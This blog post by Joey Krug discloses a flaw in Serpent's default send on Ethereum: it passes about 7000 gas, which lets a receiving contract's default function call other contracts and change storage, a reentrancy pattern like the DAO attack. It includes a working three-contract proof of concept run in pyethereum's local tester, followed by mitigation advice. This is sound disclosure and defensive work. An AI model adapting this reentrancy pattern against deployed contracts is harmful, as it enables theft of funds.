A Serpent Send Exploit (by Joey Krug)

A Serpent Send Exploit (by Joey Krug)

Thanks to Peter Vessenes for pointing out send may not necessarily be secure and challenging our assertions on that and Chris Calderon for helping with some pyethereum issues. Note that this is about the default send(addr, value) in Serpent on Ethereum.

Many people [myself included] have said or thought send is secure because it only passes along 2300 gas. The U Maryland paper says that send in Serpent sends along all the remaining gas in the call for the receiving contract to use. Serpent’s C++ rewriter says it passes 5000. Others say it uses 2300 gas. The docs don’t specify. The Ethereum blog mentions “There are two types of call operations that are clearly safe. The first is a send that contains 2300 gas (provided we accept the norm that it is the recipient’s responsibility not to consume more than 2300 gas in the case of empty data).” Is this in reference to only the Solidity version of send? Or both? Either way we have a problem, three different sources give us three different numbers here.

So let’s dive in and play around with it. We can see that send is passing around 7000 gas to whatever it calls by default in Serpent via the use of log with msg.gas [or gas remaining] in the next contract shortly after doing a send. To eliminate the possibility we’re only using just above 7k gas and the Maryland paper is correct we can log the gas remaining before we call send. We get just above 3M gas, which is around what the pyethereum tester module uses by default.

Next the question becomes: is there simply a bug in log? In other words, is 5000 really being passed but the log is wrong? To do this we can execute a really simple version of The DAO’s vulnerability involving calls by the “any” function of a contract [or the default function]. If we can modify a storage value via another function call after the send->any pattern, we’ve got a problem [which wouldn’t be possible with only 2300 gas passed along]. Sure enough we can! Note: all you need is serpent and pyethereum to replicate this.

Code [let’s walk through it below]:

from ethereum import tester as t

code1 = '''
data banana
event log_price(market:indexed)
def init():
self.banana = 5

def getBanana():
return(self.banana)

def stor():
log(type=log_price, msg.gas)
self.banana = 47
return(1)
'''

code2 = '''
extern code1:[stor:[]:int256]
code1 = {}

def any():
code1.stor()
return(1)

'''

code3 = '''

extern code1:[getBanana:[]:int256, stor:[]:int256]
code1 = {addr1}

extern code2:[]
code2 = {addr2}
event log_price(market:indexed)

def hmm():
ogbanana = code1.getBanana()
send(code2, 5)
log(type=log_price, msg.gas)
banana = code1.getBanana()
# do stuff with banana but banana's value has changed due to the send!
return([ogbanana, banana]: arr)

'''

s = t.state()
c1 = s.abi_contract(code1)
c2 = s.abi_contract(code2.format('0x' + c1.address.encode('hex')))
c3 = s.abi_contract(code3.format(addr1='0x' + c1.address.encode('hex'), addr2='0x' + c2.address.encode('hex')))
s.mine(1)
s.block.gas_used
print c3.hmm(value=50)
print c1.getBanana()

Walkthrough:

from ethereum import tester as t

Ok so all we’re doing here is writing our first contract c1. The contract has piece of data called banana. Banana has a value of 5. If we can change banana’s value as the result of executing a standard send we’ve achieved our goal here of doing something via a side effect of send that our standard send was supposed to evade.

code1 = '''
data banana
event log_price(market:indexed)
def init():
self.banana = 5

Get banana returns our banana’s value 🙂

def getBanana():
return(self.banana)

This is our banana modification function. Our banana should not be modified as part of any sends unless we give this contract copious gas as a result of a send and default function exploit [or so we thought…]

def stor():
log(type=log_price, msg.gas)
self.banana = 47
return(1)
'''

Contract 2 has an any function [default function called whenever a contract is called with enough gas]. Any in this case calls stor in our banana contract to modify banana.

code2 = '''
extern code1:[stor:[]:int256]
code1 = {}

def any():
code1.stor()
return(1)

'''

Contract 3 is our unfortunate contract that pays the price. It bears the load of a send exploit resulting from calls of outside functions that weren’t supposed to be called. It externs c1 and c2. Hmm() gets the “ogbanana” then sends 5 wei to contract 2. This is where the magic happens. If send truly sends 2300 gas, send should fail and that’s the end of it. However, since it sends a bit more than 7k gas, send instead calls the any function in c2, which calls stor in c1, which updates our banana to 47!

We end by returning both our ogbanana and new banana and one has a value of 5, the other 47, respectively. We can see that send in Serpent by default allows side effects due to having significantly more than 2300 gas, enough to allow the contract it is sending to to call other contracts and even modify a storage slot! Note: if Serpent sent along 5000 gas this exploit of a side effect modifying storage wouldn’t be possible either, because the function call and return would cause an out of gas error on the receiver, causing the send to fail/return 0.

code3 = '''

extern code1:[getBanana:[]:int256, stor:[]:int256]
code1 = {addr1}

extern code2:[]
code2 = {addr2}
event log_price(market:indexed)

def hmm():
ogbanana = code1.getBanana()
if(!send(code2, 5)):
return([0]: arr)
log(type=log_price, msg.gas)
banana = code1.getBanana()
# do stuff with banana but banana's value has changed due to the send!
return([ogbanana, banana]: arr)

'''

s = t.state()
c1 = s.abi_contract(code1)
c2 = s.abi_contract(code2.format('0x' + c1.address.encode('hex')))
c3 = s.abi_contract(code3.format(addr1='0x' + c1.address.encode('hex'), addr2='0x' + c2.address.encode('hex')))
s.mine(1)
s.block.gas_used
print c3.hmm(value=50)
print c1.getBanana()

So what are the implications of this? For one, when using send in Serpent we recommend using something like send(2300, addr, value). This replicates send in Solidity [not call.value, but send]. This will send 2300 gas with the send call, which prevents the exploit outlined above. Second, we recommend that the documentation be updated for Serpent specifying exactly how much gas it sends by default. Third, send in both Solidity and Serpent should probably have the same behavior, which means changing Serpent’s send to use 2300 gas by default. And fourth, it should be examined why although the code in Serpent’s compiler says it passes 5000 gas with a send call, it’s actually passing around 7000 something. Finally, when one only needs to do a value transfer with minimal gas, do it, don’t use call.value with the remainder of the gas, or even for now, don’t use the default send in Serpent.

(Cross-posted from Joey on Ethereum.)

Comments are closed.